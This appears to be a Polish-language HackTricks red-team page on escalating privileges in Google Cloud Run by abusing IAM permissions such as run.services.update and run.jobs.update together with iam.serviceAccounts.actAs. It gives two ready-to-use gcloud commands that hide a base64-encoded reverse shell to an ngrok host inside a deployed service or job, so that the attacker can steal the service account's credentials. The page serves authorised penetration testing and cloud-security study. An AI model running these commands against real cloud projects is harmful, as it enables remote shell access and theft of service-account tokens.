GCP - Run Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Cloud Run

Aby uzyskać więcej informacji na temat Cloud Run, sprawdź:

pageGCP - Cloud Run Enum

run.services.create, iam.serviceAccounts.actAs, run.routes.invoke

Atakujący posiadający te uprawnienia może utworzyć usługę uruchamiania, uruchamiając dowolny kod (dowolny kontener Docker), dołączyć do niej konto usługi i sprawić, aby kod wyciekł token konta usługi z metadanych.

Skrypt wykorzystujący tę metodę można znaleźć tutaj, a obraz Docker można znaleźć tutaj.

Należy zauważyć, że podczas korzystania z gcloud run deploy zamiast tylko tworzenia usługi wymagane jest uprawnienie update. Sprawdź przykład tutaj.

run.services.update, iam.serviceAccounts.actAs

Podobnie jak poprzednia, ale aktualizując usługę:

gcloud run deploy hacked \
--image=marketplace.gcr.io/google/ubuntu2004 \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

run.services.setIamPolicy

Nadaj sobie wcześniejsze uprawnienia do chmury Run.

run.jobs.create, run.jobs.run, (run.jobs.get)

Uruchom zadanie z odwróconym powłoką, aby ukraść konto usługi wskazane w poleceniu. Możesz znaleźć exploit tutaj.

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Podobnie jak w poprzednim przypadku, możliwe jest zaktualizowanie zadania i zaktualizowanie SA, polecenie i wykonanie go:

gcloud beta run jobs update hacked \
--image=marketplace.gcr.io/google/ubuntu2004 \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--project=security-devbox --execute-now

run.jobs.setIamPolicy

Nadaj sobie wcześniejsze uprawnienia do Cloud Jobs.

Referencje

Last updated